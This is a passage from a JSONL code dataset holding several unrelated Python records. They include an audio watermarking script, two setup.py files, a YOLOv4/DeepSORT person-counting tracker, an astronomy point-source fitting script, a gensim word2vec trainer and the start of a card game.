[\"-y\",\"-b:a\",\"320k\"]\n\n def convert(inputfile, outputfile, param):\n ffmpy.FFmpeg( executable= str(FFMPEG_EXE_Path), inputs={str(input_file) : None}, outputs={str(outputfile) : param}).run(stdout = None, stderr=sys.stdout )\n pass\n\n sys.stdout = open(os.devnull, \"w\") \n convert(input_file, output_128,param_128)\n convert(input_file, output_320,param_320)\n sys.stdout = sys.__stdout__ \n pass\n\nFile_Name = sys.argv[1]\nUser_ID = sys.argv[2]\nUser_Name = sys.argv[3]\n\nprint('Starting to decode')\nsys.stdout.flush()\n\nmessage , File_Path, is_temp, message_bits, original_bits, user_id = decoding.Decoding_factory.Decoding(File_Name,Original_Folder_Path, Watermark_Message_Folder_Path, FFMPEG_EXE_Path)\noriginal_message = open( str(Watermark_Message_Folder_Path/\"original.txt\"),\"r\" ).read()\n\nprint(message)\nsys.stdout.flush()\n\nif not isSimilar(message_bits, message, original_message, original_bits):\n print('Starting to encode')\n sys.stdout.flush()\n output = coding.Coding_factory.Encoding(File_Name, File_Path, Original_Folder_Path, Watermarked_Folder_Path, Watermark_Message_Folder_Path ,Key_Folder_Path, User_ID, User_Name)\n ToMP3(output)\n print( \"OK\" )\n sys.stdout.flush()\nelse:\n print( \"Reup detected : \", message, file=sys.stderr )\n sys.stderr.flush()\nif is_temp:\n os.remove(File_Path)\n","sub_path":"server-audio/python_scripts/watermark.py","file_name":"watermark.py","file_ext":"py","file_size_in_byte":3193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"223350709","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nfrom os.path import abspath, dirname, join\nfrom setuptools import setup\nfrom setuptools.command.test import test as TestCommand\n\nclassifiers = (\n 'Development Status :: 3 - Alpha',\n 'Programming Language :: Python :: 2.6',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.1',\n 'Programming Language :: Python :: 3.2',\n 'Programming Language :: Python :: 3.3',\n 'License :: OSI Approved :: BSD License',\n 'Intended Audience :: Developers',\n 'Operating System :: POSIX :: Linux',\n)\n\nkw = {\n 'name' : 'jenkins-webapi',\n 'version' : '0.2.0',\n 'description' : 'Package for interacting with the Jenkins ci server',\n 'long_description' : open(join(abspath(dirname(__file__)), 'README.rst')).read(),\n 'author' : 'Georgi Valkov',\n 'author_email' : 'georgi.t.valkov@gmail.com',\n 'license' : 'Revised BSD License',\n 'url' : 'https://github.com/gvalkov/jenkins-webapi',\n 'keywords' : 'jenkins ci',\n 'classifiers' : classifiers,\n 'py_modules' : ['jenkins'],\n 'install_requires' : ['requests>=2.2.1'],\n 'tests_require' : ['pytest', 'termcolor', 'pytest-cov', 'httmock'],\n 'zip_safe' : True,\n}\n\nclass PyTest(TestCommand):\n def finalize_options(self):\n TestCommand.finalize_options(self)\n self.test_args = []\n self.test_suite = True\n def run_tests(self):\n import pytest\n errno = pytest.main(self.test_args)\n sys.exit(errno)\n\nkw['cmdclass'] = {'test': PyTest}\n\nif __name__ == '__main__':\n setup(**kw)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"52863464","text":"#!/usr/bin/env python\nfrom setuptools import setup, find_packages\n\n\ntests_requires = [\n 'ddt>=1.0.0'\n]\n\ndev_requires = [\n 'Sphinx==1.2.2',\n]\n\ninstall_requires = [\n 'iptools>=0.6.1',\n 'nodeconductor>0.124.0',\n 'python-ceilometerclient>=2.3.0',\n 'python-cinderclient>=1.6.0,<2.0.0',\n 'python-glanceclient>=2.0.0',\n 'python-keystoneclient>=2.3.1',\n 'python-neutronclient>=4.1.1',\n 'python-novaclient>=3.3.0,<3.4.0',\n]\n\n\nsetup(\n name='nodeconductor-openstack',\n version='0.20.0',\n author='OpenNode Team',\n author_email='info@opennodecloud.com',\n url='http://nodeconductor.com',\n description='NodeConductor plugin for managing OpenStack resources.',\n long_description=open('README.rst').read(),\n package_dir={'': 'src'},\n packages=find_packages('src', exclude=['*.tests', '*.tests.*', 'tests.*', 'tests']),\n install_requires=install_requires,\n zip_safe=False,\n extras_require={\n 'dev': dev_requires,\n 'tests': tests_requires,\n },\n test_suite='nodeconductor.server.test_runner.run_tests',\n entry_points={\n 'nodeconductor_extensions': (\n 'openstack = nodeconductor_openstack.openstack.extension:OpenStackExtension',\n 'openstack_tenant = nodeconductor_openstack.openstack_tenant.extension:OpenStackTenantExtension',\n ),\n },\n include_package_data=True,\n classifiers=[\n 'Framework :: Django',\n 'Intended Audience :: Developers',\n 'Intended Audience :: System Administrators',\n 'Operating System :: OS Independent',\n 'License :: OSI Approved :: MIT License',\n ],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"358949232","text":"import os\nfrom kolejka import Kolejka\nfrom osoba import Osoba\n\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n\nimport tensorflow as tf\n\nphysical_devices = tf.config.experimental.list_physical_devices('GPU')\nif len(physical_devices) > 0:\n tf.config.experimental.set_memory_growth(physical_devices[0], True)\n\nimport core.utils as utils\nfrom tensorflow.python.saved_model import tag_constants\nfrom core.config import cfg\nimport cv2\nimport numpy as np\nfrom tensorflow.compat.v1 import ConfigProto\nimport magic\n\n# deep sort imports\nfrom deep_sort import preprocessing, nn_matching\nfrom deep_sort.detection import Detection\nfrom deep_sort.tracker import Tracker\nfrom tools import generate_detections as gdet\n\n\ndef findPerson(video_path, output_video_path, log_path):\n # definition of the parameters\n max_cosine_distance = 0.4\n nn_budget = None\n nms_max_overlap = 1.0\n\n # initialize deep sort\n model_filename = 'model_data/mars-small128.pb'\n encoder = gdet.create_box_encoder(model_filename, batch_size=1)\n # calculate cosine distance metric\n metric = nn_matching.NearestNeighborDistanceMetric(\"cosine\", max_cosine_distance, nn_budget)\n # initialize tracker\n tracker = Tracker(metric)\n\n # load configuration for object detector\n config = ConfigProto()\n config.gpu_options.allow_growth = True\n\n # resize images to\n input_size = 416\n\n # define color of boxes for categories\n colors = [(255, 0, 0), (0, 255, 0), (0, 0, 255)] # 0-red, 1-green, 2-blue\n\n # define kolejka\n kolejka = Kolejka(0)\n\n # load saved model\n saved_model_loaded = tf.saved_model.load('./checkpoints/yolov4-tiny-416', tags=[tag_constants.SERVING])\n infer = saved_model_loaded.signatures['serving_default']\n\n # open file to write logs\n logs = open(log_path, \"w\")\n\n # check if file is a video and begin video capture\n mime = magic.Magic(mime=True)\n filename = mime.from_file(video_path)\n if filename.find('video') != -1:\n try:\n vid = cv2.VideoCapture(video_path)\n except:\n return 1\n else:\n return 1\n\n # get video ready to save locally\n # by default VideoCapture returns float instead of int\n width = int(vid.get(cv2.CAP_PROP_FRAME_WIDTH))\n height = int(vid.get(cv2.CAP_PROP_FRAME_HEIGHT))\n fps = int(vid.get(cv2.CAP_PROP_FPS))\n codec = cv2.VideoWriter_fourcc(*'XVID')\n out = cv2.VideoWriter(output_video_path, codec, fps, (width, height))\n\n # while video is running\n while True:\n return_value, frame = vid.read()\n if return_value:\n # change colors to rgb\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n else:\n cv2.destroyAllWindows()\n logs.close()\n return 0\n\n image_data = cv2.resize(frame, (input_size, input_size))\n image_data = image_data / 255.\n image_data = image_data[np.newaxis, ...].astype(np.float32)\n\n # get timestamp to write to log file\n time_in_video = vid.get(cv2.CAP_PROP_POS_MSEC) / 1000 # in seconds\n\n # run detections\n batch_data = tf.constant(image_data)\n pred_bbox = infer(batch_data)\n for key, value in pred_bbox.items():\n boxes = value[:, :, 0:4]\n pred_conf = value[:, :, 4:]\n\n boxes, scores, classes, valid_detections = tf.image.combined_non_max_suppression(\n boxes=tf.reshape(boxes, (tf.shape(boxes)[0], -1, 1, 4)),\n scores=tf.reshape(\n pred_conf, (tf.shape(pred_conf)[0], -1, tf.shape(pred_conf)[-1])),\n max_output_size_per_class=50,\n max_total_size=50,\n iou_threshold=0.45,\n score_threshold=0.5\n )\n\n # convert data to numpy arrays and slice out unused elements\n num_objects = valid_detections.numpy()[0]\n bboxes = boxes.numpy()[0]\n bboxes = bboxes[0:int(num_objects)]\n scores = scores.numpy()[0]\n scores = scores[0:int(num_objects)]\n classes = classes.numpy()[0]\n classes = classes[0:int(num_objects)]\n\n # format bounding boxes from normalized ymin, xmin, ymax, xmax ---> xmin, ymin, width, height\n original_h, original_w, _ = frame.shape\n bboxes = utils.format_boxes(bboxes, original_h, original_w)\n\n # read in all class names from config\n class_names = utils.read_class_names(cfg.YOLO.CLASSES)\n\n # loop through objects and use class index to get class name, allow only person class\n names = []\n deleted_indx = []\n for i in range(num_objects):\n class_indx = int(classes[i])\n class_name = class_names[class_indx]\n if class_name != 'person':\n deleted_indx.append(i)\n else:\n names.append(class_name)\n names = np.array(names)\n\n # delete detections that are not people\n bboxes = np.delete(bboxes, deleted_indx, axis=0)\n scores = np.delete(scores, deleted_indx, axis=0)\n\n # encode yolo detections and feed to tracker\n features = encoder(frame, bboxes)\n detections = [Detection(bbox, score, class_name, feature) for bbox, score, class_name, feature in\n zip(bboxes, scores, names, features)]\n\n # run non-maxima supression\n boxs = np.array([d.tlwh for d in detections])\n scores = np.array([d.confidence for d in detections])\n classes = np.array([d.class_name for d in detections])\n indices = preprocessing.non_max_suppression(boxs, classes, nms_max_overlap, scores)\n detections = [detections[i] for i in indices]\n\n # Call the tracker\n tracker.predict()\n tracker.update(detections)\n\n # update tracks\n for track in tracker.tracks:\n if not track.is_confirmed() or track.time_since_update > 1:\n person_to_delete = kolejka.getOsoba(track.track_id)\n if person_to_delete is not None:\n person_to_delete.setKoniec(time_in_video)\n kolejka.usunOsobe(person_to_delete)\n continue\n bbox = track.to_tlbr()\n\n # check if it is new person\n if kolejka.getOsoba(track.track_id) is None:\n # create person, detect color and add to kolejka (listaOsob)\n\n # read rgb values of pixels in bbox (bbox is trimmed to get more acurate detection of color)\n r = []\n g = []\n b = []\n bbox_width = bbox[2] - bbox[0]\n bbox_height = bbox[3] - bbox[1]\n for x in range(int(bbox[0] + (0.1 * bbox_width)), int(bbox[2] - (0.1 * bbox_width))):\n for y in range(int(bbox[1] + (0.1 * bbox_height)), int(bbox[3] - (0.1 * bbox_height))):\n color = frame[y, x]\n r.append(color[0])\n g.append(color[1])\n b.append(color[2])\n\n r_mean = np.mean(r)\n b_mean = np.mean(b)\n g_mean = np.mean(g)\n\n # create person for specific category depending on r, g, b values\n # add person to kolejka\n if b_mean == max(b_mean, g_mean, r_mean):\n person = Osoba(track.track_id, 2, time_in_video, time_in_video,\n 0.5 * (int(bbox[0]) + int(bbox[2])),\n 0.5 * (int(bbox[1]) + int(bbox[3])))\n kolejka.dodajOsobe(person)\n elif g_mean == max(b_mean, g_mean, r_mean):\n person = Osoba(track.track_id, 1, time_in_video, time_in_video,\n 0.5 * ((int(bbox[0])) + int(bbox[2])), 0.5 * (int(bbox[1]) + int(bbox[3])))\n kolejka.dodajOsobe(person)\n else:\n person = Osoba(track.track_id, 0, time_in_video, time_in_video,\n 0.5 * ((int(bbox[0])) + int(bbox[2])), 0.5 * (int(bbox[1]) + int(bbox[3])))\n kolejka.dodajOsobe(person)\n\n # get category of person and draw box in color of the category\n person = kolejka.getOsoba(track.track_id)\n cv2.rectangle(frame, (int(bbox[0]), int(bbox[1])), (int(bbox[2]), int(bbox[3])),\n colors[person.getKategoria()], 2)\n\n # show current number of people on video\n cv2.putText(frame, \"Current People Count: \" + str(kolejka.getLiczbaOsob()), (0, 35),\n cv2.FONT_HERSHEY_DUPLEX,\n 1.5, (255, 255, 0), 2)\n\n # change color to bgr\n result = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)\n\n # write to log file --> time;number of people detected;people in cat.1;people in cat.2;people in cat.3\n people_in_categories = kolejka.getLiczbaOsobKategorie()\n logs.write(\n str(time_in_video) + \";\" + str(kolejka.getLiczbaOsob()) + \";\" + str(\n people_in_categories[0]) + \";\" + str(\n people_in_categories[1]) + \";\" + str(people_in_categories[2]) + \"\\n\")\n\n # write video with drawn boxes\n out.write(result)\n","sub_path":"yolov4-deepsort-master/object_tracker.py","file_name":"object_tracker.py","file_ext":"py","file_size_in_byte":9174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"273704115","text":"# ----------\n# Script to fit a single point source in multiple (same band) simulated images.\n#-----------\n\nimport sys, os\nfrom functools import partial as argfix\n\nimport numpy as np\nimport matplotlib.pyplot as pl\nfrom matplotlib.backends.backend_pdf import PdfPages\n\nfrom forcepho import paths\nfrom forcepho.sources import Star, Scene\nfrom forcepho.likelihood import WorkPlan, lnlike_multi, make_image\n\nfrom corner import quantile\n\nfrom demo_utils import make_real_stamp as make_stamp\nfrom demo_utils import Posterior\n\n\nimnames = ['sandro/sim_F090W_482_star_grid.slp.fits']\nimnames = [os.path.join(paths.starsims, im) for im in imnames]\npsfnames = ['f090_ng6_em_random.p']\npsfnames = [os.path.join(paths.psfmixture, p) for p in psfnames]\nfilters = [\"F090W\"]\ncatname = os.path.join(paths.starsims, 'sandro/star_cat_482.txt')\n\n\ndef prep_stamps(ra, dec):\n # HUUGE HAAAACK\n if filters[0] == \"F277W\":\n psfcenter = (496/2. - 100)\n psf_realization = 0\n else:\n psfcenter = 104.\n psf_realization = 2\n\n # --- Build the postage stamp ----\n ra_init, dec_init = ra, dec\n pos_init = (ra_init, dec_init)\n stamps = [make_stamp(im, pos_init, center_type='celestial', size=(50, 50),\n psfname=pn, psfcenter=psfcenter, fix_header=True,\n psf_realization=psf_realization)\n for im, pn in zip(imnames, psfnames)]\n\n\n # Background subtract. yuck\n for stamp in stamps:\n bkg = np.nanmedian(stamp.pixel_values[:20, :]) # stamp.full_header[\"BKG\"]\n stamp.pixel_values -= bkg # \n stamp.subtracted_background = bkg\n \n # override the psf to reflect in both directions\n T = -1.0 * np.eye(2)\n for s in stamps:\n s.psf.covariances = np.matmul(T, np.matmul(s.psf.covariances, T.T))\n s.psf.means = np.matmul(s.psf.means, T)\n\n return stamps\n\n\ndef fit_source(ra=53.115295, dec=-27.803501, mag=None, dofit='dynesty',\n nlive=100, nburn=600, niter=200):\n\n # --- Get the data ---\n stamps = prep_stamps(ra, dec)\n\n # --- Get the Scene --- \n source = Star(filters=filters)\n scene = Scene([source])\n label = ['Counts', 'RA', 'Dec']\n\n plans = [WorkPlan(stamp) for stamp in stamps]\n\n # --- Initialize and set scales ---\n if mag is None:\n counts = [np.clip(stamp.pixel_values.sum(), 1, np.inf) for stamp in stamps]\n else:\n counts = [10**(0.4 * (stamp.full_header[\"ABMAG\"] - mag)) for stamp in stamps]\n theta_init = np.array(counts + [ra, dec])\n # a rough measure of dcoordinate/dpix - this doesn't work so great\n plate_scale = np.linalg.eigvals(np.linalg.inv(stamps[0].dpix_dsky))\n plate_scale = np.abs(plate_scale)\n # make the prior ~5 pixels wide, and 100% of expected counts\n theta_width = np.array([theta_init[0], 5 * plate_scale[0], 5 * plate_scale[1]])\n print(theta_init, theta_width)\n\n # --- Sampling ---\n ndim = 3\n p0 = theta_init.copy()\n upper = theta_init + theta_width / 2.\n lower = theta_init - theta_width / 2.\n scales = theta_width\n\n if dofit == 'dynesty':\n\n lnlike = argfix(lnlike_multi, scene=scene, plans=plans, grad=False)\n def prior_transform(unit_coords):\n # convert to uniform -1 to 1\n u = (2 * unit_coords - 1.)\n # now scale and shift\n theta = theta_init + theta_width * u\n return theta\n\n import dynesty, time\n \n # \"Standard\" nested sampling.\n sampler = dynesty.NestedSampler(lnlike, prior_transform, ndim, bootstrap=0, nlive=nlive)\n t0 = time.time()\n sampler.run_nested()\n dur = time.time() - t0\n results = sampler.results\n results['duration'] = dur\n indmax = results['logl'].argmax()\n theta_max = results['samples'][indmax, :]\n\n elif dofit == \"hmc\":\n\n from hmc import BasicHMC\n\n model = Posterior(scene, plans, upper=upper, lower=lower)\n hsampler = BasicHMC(model, verbose=False)\n hsampler.ndim = len(p0)\n hsampler.set_mass_matrix( 1 / scales**2)\n eps = hsampler.find_reasonable_stepsize(p0)\n pos, prob, grad = hsampler.sample(p0, iterations=nburn, mass_matrix=1/scales**2,\n epsilon=eps*1.5, length=10, sigma_length=3,\n store_trajectories=False)\n pos, prob, grad = hsampler.sample(pos, iterations=niter, mass_matrix=1/scales**2,\n epsilon=eps, length=20, sigma_length=5,\n store_trajectories=True)\n\n results = {\"samples\":sampler.chain.copy(), \"lnprobability\": sampler.lnp.copy()}\n theta_max = sampler.chain[np.argmax(sampler.lnprob), :]\n\n elif dofit == \"hemcee\":\n\n from hemcee import NoUTurnSampler\n from hemcee.metric import DiagonalMetric\n\n model = Posterior(scene, plans, upper=np.inf, lower=-np.inf)\n metric = DiagonalMetric(scales**2)\n usampler = NoUTurnSampler(model.lnprob, model.lnprob_grad, metric=metric)\n pos, lnp0 = usampler.run_warmup(p0, nburn)\n chain, lnp = usampler.run_mcmc(pos, niter)\n\n results = {\"samples\": chain, \"lnprobability\": lnp}\n theta_max = chain[np.argmax(lnp), :]\n \n else:\n results = None\n theta_max = np.zeros(3)\n\n return results, theta_max, stamps, scene\n\n\nif __name__ == \"__main__\":\n\n showfit = True\n start = 30\n end = 100\n nlive = 80\n nburn = 100\n niter = 200\n dofit = \"hmc\"\n\n # ---- Read the input catalog -----\n dt = np.dtype([(n, np.float) for n in ['id', 'ra', 'dec', 'mag']])\n cat = np.genfromtxt(catname, usecols=(0, 1, 2, 3), dtype=dt)\n\n # --- setup output ---\n nband = len(filters)\n fn = 'output_pointsource_sandro_{}_{}.dat'.format(filters[0], dofit)\n pn = 'pointsource_resid_sandro_{}_{}.pdf'.format(filters[0], dofit)\n out = open(fn, 'w')\n strfmt = \"{} {:11.8f} {:11.8f}\" + \"\".join((nband * 3) * [\" {:10.2f}\"]) + \" {:10.2f} {:14.6f} {} \\n\"\n cols = (\"# i ra dec\" +\n \"\".join([\" counts16_{f} counts50_{f} counts84_{f}\".format(f=f.lower()) for f in filters]) +\n \" imsum lnp ncall\\n\")\n out.write(cols)\n if showfit:\n pdf = PdfPages(pn)\n\n label = ['Counts', 'RA', 'Dec']\n\n # --- Loop over sources ---\n all_results, all_pos = [], []\n for i, c in enumerate(cat[start:end]):\n blob = fit_source(ra=c['ra'], dec=c['dec'], mag=c[\"mag\"], dofit=dofit,\n nlive=nlive, nburn=nburn, niter=niter)\n result, vals, stamps, scene = blob\n all_results.append(result)\n ndim = len(vals)\n\n if showfit:\n sz = 6 * 3 + 2, len(stamps) * 2.5 # figure size\n rfig, raxes = pl.subplots(len(stamps), 6, sharex=True, sharey=True, figsize=sz)\n raxes = np.atleast_2d(raxes)\n for j, stamp in enumerate(stamps):\n err = 1. / stamp.ierr.reshape(stamp.nx, stamp.ny)\n snr = stamp.pixel_values * stamp.ierr.reshape(stamp.nx, stamp.ny)\n model, grad = make_image(scene, stamp, Theta=vals)\n data = stamp.pixel_values\n resid = (data - model)\n chi = resid / err\n imlist = [err, snr, data, model, resid, chi]\n for ax, im in zip(raxes[j, :], imlist):\n cc = ax.imshow(im[20:35, 20:35].T, origin='lower')\n rfig.colorbar(cc, ax=raxes[j,:].tolist())\n raxes[0,0].text(0.6, 0.75, \"id={:3.0f}\\nmag={:2.1f}\".format(c[\"id\"], c[\"mag\"]), transform=raxes[0,0].transAxes)\n pdf.savefig(rfig)\n pl.close(rfig)\n\n print('----')\n print(vals)\n print(c['mag'], c['ra'], c['dec'])\n\n counts = vals[0]\n size = np.array([stamp.nx, stamp.ny])\n center = np.array(stamp.pixcenter_in_full)\n lo = (center - 0.5 * size).astype(int)\n x, y = lo + vals[nband:]\n all_pos.append((x, y))\n wght = np.exp(result[\"logwt\"] - result['logz'][-1])\n flux = np.array([quantile(result[\"samples\"][:, k], [0.16, 0.5, 0.84], wght) for k in range(nband)])\n\n # cols = ([i] + vals[nband:].tolist() + vals[:nband].tolist() +\n cols = ([c[\"id\"]] + vals.tolist()[nband:] + flux.flatten().tolist() + \n [stamp.pixel_values.sum(), result['logl'].max(), result['ncall'].sum()])\n out.write(strfmt.format(*cols))\n\n if showfit:\n pdf.close()\n else:\n pl.show()\n out.close()\n \n ocat = np.genfromtxt(fn)#, dtype=dt2)\n inds = ocat[:,0].astype(int) -1\n mag = cat[inds][\"mag\"]\n model_mag = stamps[0].full_header[\"ABMAG\"] - 2.5 * np.log10(ocat[:, 4])\n dm = mag - model_mag\n # This is not actually correct (need to use the actual stamp, not just the last one)\n pix = np.array([stamps[0].sky_to_pix(np.array([c[\"ra\"], c[\"dec\"]])) for c in cat[inds]])\n subpix = np.mod(pix, 1.0)\n \n sigma_m = 1.086 * 0.5 * (ocat[:, 5] - ocat[:, 3]) / ocat[:, 4]\n merr_up = 1.086 * (ocat[:, 5] - ocat[:, 4]) / ocat[:, 4]\n merr_lo = 1.086 * (ocat[:, 4] - ocat[:, 3]) / ocat[:, 4]\n \n\n dsky = np.array([ocat[:, 1] - cat[inds][\"ra\"], ocat[:, 2] - cat[inds][\"dec\"]])\n dpix = np.dot(stamps[0].dpix_dsky, dsky) # This is not actually correct (need to use the actual stamp, not just the last one)\n\n sigma_scale = [((dm[i*10:i*10+10]-dm[i*10:i*10+10].mean())/sigma_m[i*10:i*10+10]).std() for i in range(7)]\n mscatter = [((dm[i*10:i*10+10]-dm[i*10:i*10+10].mean())).std() for i in range(7)]\n sigma_median = [np.median(sigma_m[i*10:i*10+10]) for i in range(7)]\n\n efig, eax = pl.subplots()\n eax.errorbar(mag, dm, [merr_lo, merr_up], capsize=6, marker='o', capthick=1, linestyle='')\n eax.set_xlabel(\"AB mag (input)\")\n eax.set_ylabel(\"$\\Delta$ m (Input - Output)\")\n eax.set_xlim(21.5, 28.5)\n \n sys.exit()\n from dynesty import plotting as dyplot\n i = -11\n result = all_results[i]\n c = cat[inds[i]]\n truths = [10**(0.4 * (stamp.full_header[\"ABMAG\"] - c[\"mag\"])) for stamp in stamps] + [c[\"ra\"] , c[\"dec\"]]\n cfig, caxes = dyplot.cornerplot(result, fig=pl.subplots(ndim, ndim, figsize=(13., 10)),\n labels=label, show_titles=True, title_fmt='.8f', truths=truths)\n tfig, taxes = dyplot.traceplot(result, fig=pl.subplots(ndim, 2, figsize=(13., 13.)),\n labels=label)\n\n \n","sub_path":"demo/sim/sim_one_point_single.py","file_name":"sim_one_point_single.py","file_ext":"py","file_size_in_byte":10486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"545789124","text":"#!/usr/bin/env python3\n# felipe@ift6285 aout 2019\n\n\"\"\"\nentrainer des embeddings avec gensim\n\"\"\"\n\nimport multiprocessing\nfrom time import time\nimport argparse\nimport logging # Setting up the loggings to monitor gensim\nimport sys\n\nimport gensim\nfrom gensim.test.utils import datapath\nfrom gensim.models import KeyedVectors, Word2Vec\nfrom gensim.models.phrases import Phrases, Phraser\nfrom gensim.models.word2vec import PathLineSentences\n\nfrom gensim.models.callbacks import CallbackAny2Vec\n\n# ------------------------------------------------------------------\n# ------------------------------------------------------------------\n\nprog = 'word2vec-gensim-train'\n\n# ---------------------------------------------\n# gestion ligne de commande\n# ---------------------------------------------\n\ndef get_args():\n\n parser = argparse.ArgumentParser(\n description=\"train a gensim word2vec model from text read on stdin\")\n\n parser.add_argument(\"-v\", '--verbosity', type=int,\n help=\"increase output verbosity\", default=0)\n parser.add_argument(\"-n\", '--nb', type=int,\n help=\"# of input lines to read (per file I think)\", default=None)\n parser.add_argument(\"-d\", '--datapath', type=str,\n help=\"directory where txt files can be found\", default=None)\n parser.add_argument(\"-f\", '--name', type=str,\n help=\"basename modelname\", default=\"genw2v\")\n parser.add_argument(\"-s\", '--size', type=int,\n help=\"dim of vectors\", default=300)\n parser.add_argument(\"-g\", '--negative', type=int,\n help=\"# neg samples\", default=10)\n parser.add_argument(\"-c\", '--mincount', type=int,\n help=\"min count of a word\", default=40)\n parser.add_argument(\"-w\", '--window', type=int,\n help=\"window size\", default=5)\n parser.add_argument(\"-a\", '--alpha', type=float,\n help=\"alpha\", default=0.03)\n parser.add_argument(\"-m\", '--minalpha', type=float,\n help=\"min alpha\", default=0.0007)\n parser.add_argument(\"-e\", '--epochs', type=int,\n help=\"epochs\", default=10)\n parser.add_argument(\"-l\", '--loss', action=\"store_true\")\n parser.add_argument('outdir', type=str,\n help=\"path to output models' files\")\n\n return parser.parse_args()\n\n\n# sg ({0, 1}, optional) – Training algorithm: 1 for skip-gram; otherwise CBOW.\n# w2v_model = Word2Vec(sg=0, hs=0, negative = 10, ns_exponent = 0.75, cbow_mean = 1, min_count=40, window=5)\n# sg_ = 0\n# hs_ = 0\n# ns_exp_ = 0.75\n# cbow_m = 1\n\nsg_ = 1\nhs_ = 1\nns_exp_ = 0.75\ncbow_m = 0\n# ---------------------------------------------\n# tools\n# ---------------------------------------------\n\n\ndef to_min(t):\n return round((time() - t) / 60, 2)\n\n\n# init callback class\nclass callback(CallbackAny2Vec):\n \"\"\"\n Callback to print loss after each epoch\n \"\"\"\n\n def __init__(self):\n self.epoch = 0\n if args.nb is not None:\n self.nb = args.nb\n\n def on_epoch_end(self, model):\n loss = model.get_latest_training_loss()\n if args.nb is not None:\n if self.epoch == 0:\n logging.info('v_size:{} epoch:{} Loss:{}'.format(\n self.nb, self.epoch, loss))\n else:\n logging.info('v_size:{} epoch:{} Loss:{}'.format(\n self.nb, self.epoch, loss - self.loss_previous_step))\n self.epoch += 1\n self.loss_previous_step = loss\n\n# ------------------------------------------------------------------\n# main\n# ------------------------------------------------------------------\n\n\nprint(get_args())\nargs = get_args()\n\next = \"{}-size{}-window{}-neg{}-mincount{}-alpha{}-minalpha{}-epochs{}\".format(args.name,\n args.size, args.window, args.negative, args.mincount, args.alpha, args.minalpha, args.epochs)\n\nlogname = f\"{args.outdir}/{ext}.log\"\nmodelname = f\"{args.outdir}/{ext}.w2v\"\ntxt_modelname = f\"{args.outdir}/{ext}.txt\"\n\nlogging.basicConfig( # filename=logname,\n format=\"%(levelname)s %(asctime)s [\" + \\\n prog + \"] %(message)s\",\n datefmt='%H:%M:%S', level=logging.INFO,\n handlers=[\n logging.FileHandler(logname),\n logging.StreamHandler()\n ])\n\nlogging.info(\n f\"running with config: {ext} -- hopefully generating {modelname} {txt_modelname}\")\n\n# 1) reading input into a list of words\nt = time()\nsents = []\n\nfrom string import punctuation\nimport re\npunct = set(punctuation)\npunct_cleaned = set(punctuation.replace(\n \"-\", \"\").replace(\"'\", \"\").replace(\",\", \"\").replace(\"(\", \" \").replace(\")\", \" \"))\n\nif args.datapath is None:\n ntok = 0\n for line in sys.stdin:\n line = re.sub(' +', ' ', line)\n words = line.rstrip().split()\n # print(words)\n words = [''.join(ch for ch in word if ch not in punct_cleaned).lower()\n for word in words if word not in punct_cleaned]\n words = [word for word in words if word not in ['']]\n # print(words)\n ntok += len(words)\n sents.append(words)\n # logging.info(f\"Read {len(sents)} sentences, {ntok} tokens in {to_min(t)} minutes\")\nelse:\n sents = PathLineSentences(args.datapath, limit=args.nb)\n\n# print(len(list(sents)))\n# print(list(sents)[0])\n# sys.exit()\n\n# 2) run the phraser\nt = time()\nphrases = Phrases(sents, min_count=10, progress_per=100000)\nbigram = Phraser(phrases)\n\nsents_b = bigram[sents]\nlogging.info(\n f\"Phrases found {len(phrases.vocab)} phrases in {to_min(t)} minutes\")\n\nif args.verbosity > 2:\n for i in range(0, 10):\n logging.debug(\"sent: \", sents_b[i])\n\n# 3 let's train a model\ncores = multiprocessing.cpu_count() # Count the number of cores\n\nw2v_model = Word2Vec(min_count=args.mincount,\n window=args.window,\n size=args.size,\n sample=6e-5,\n alpha=args.alpha,\n min_alpha=args.minalpha,\n iter=args.epochs,\n negative=args.negative,\n workers=cores - 1,\n sg=sg_, hs=hs_, ns_exponent=ns_exp_,\n cbow_mean=cbow_m)\n\nt = time()\nw2v_model.build_vocab(sents_b, progress_per=10000)\nlogging.info('Time to build vocab: {} mins'.format(to_min(t)))\n\nt = time()\nw2v_model.train(sents_b, total_examples=w2v_model.corpus_count,\n epochs=args.epochs, report_delay=1,\n compute_loss=args.loss)\n# ,callbacks=[callback()])\nlogging.info(f\"Time to train the model: {to_min(t)} mins\")\n\nif args.nb is not None:\n logging.info(f\"v_size: {args.nb} time: {to_min(t)}\")\n\n# stream the model\nw2v_model.init_sims(replace=True)\n\n\n# save it\n# I must read the doc, but as far as I understand, the save function is good if the model\n# is read with gensim\n#\n# w2v_model.callbacks = ()\nw2v_model.save(modelname)\nlogging.info(f\"saved {modelname}\")\n\n# this one exports a textfile that spacy can (hopefully) convert\nw2v_model.wv.save_word2vec_format(txt_modelname)\nlogging.info(f\"saved {txt_modelname}\")\n\n# 4) be gentle\nlogging.info(\n f\"ending -- log: {logname} -- hopefully generated {modelname}* and {txt_modelname}\")\n","sub_path":"devoir5_word_embeddings/word2vec-train-model.py","file_name":"word2vec-train-model.py","file_ext":"py","file_size_in_byte":7324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"166540314","text":"from pack import init_pack\nimport random\n\n\ndef summarize(summ, check, count):\n t_pack, is_empty = pack(count)\n if check:\n print(t_pack)\n for i in t_pack:\n summ += i.get_weight()\n return summ\n\n\ndef result(res):\n if res:\n print('Вы выйграли')\n print('Ваши очки: ', points_player, ' Очки компьютера: ', points_comp)\n else:\n print('Вы проиграли')\n print('Ваши очки: ', points_player, ' Очки компьютера: ', points_comp)\n\n\n# if not imports\nif __name__ == \"__main__\":\n\n points_player = 0\n points_comp 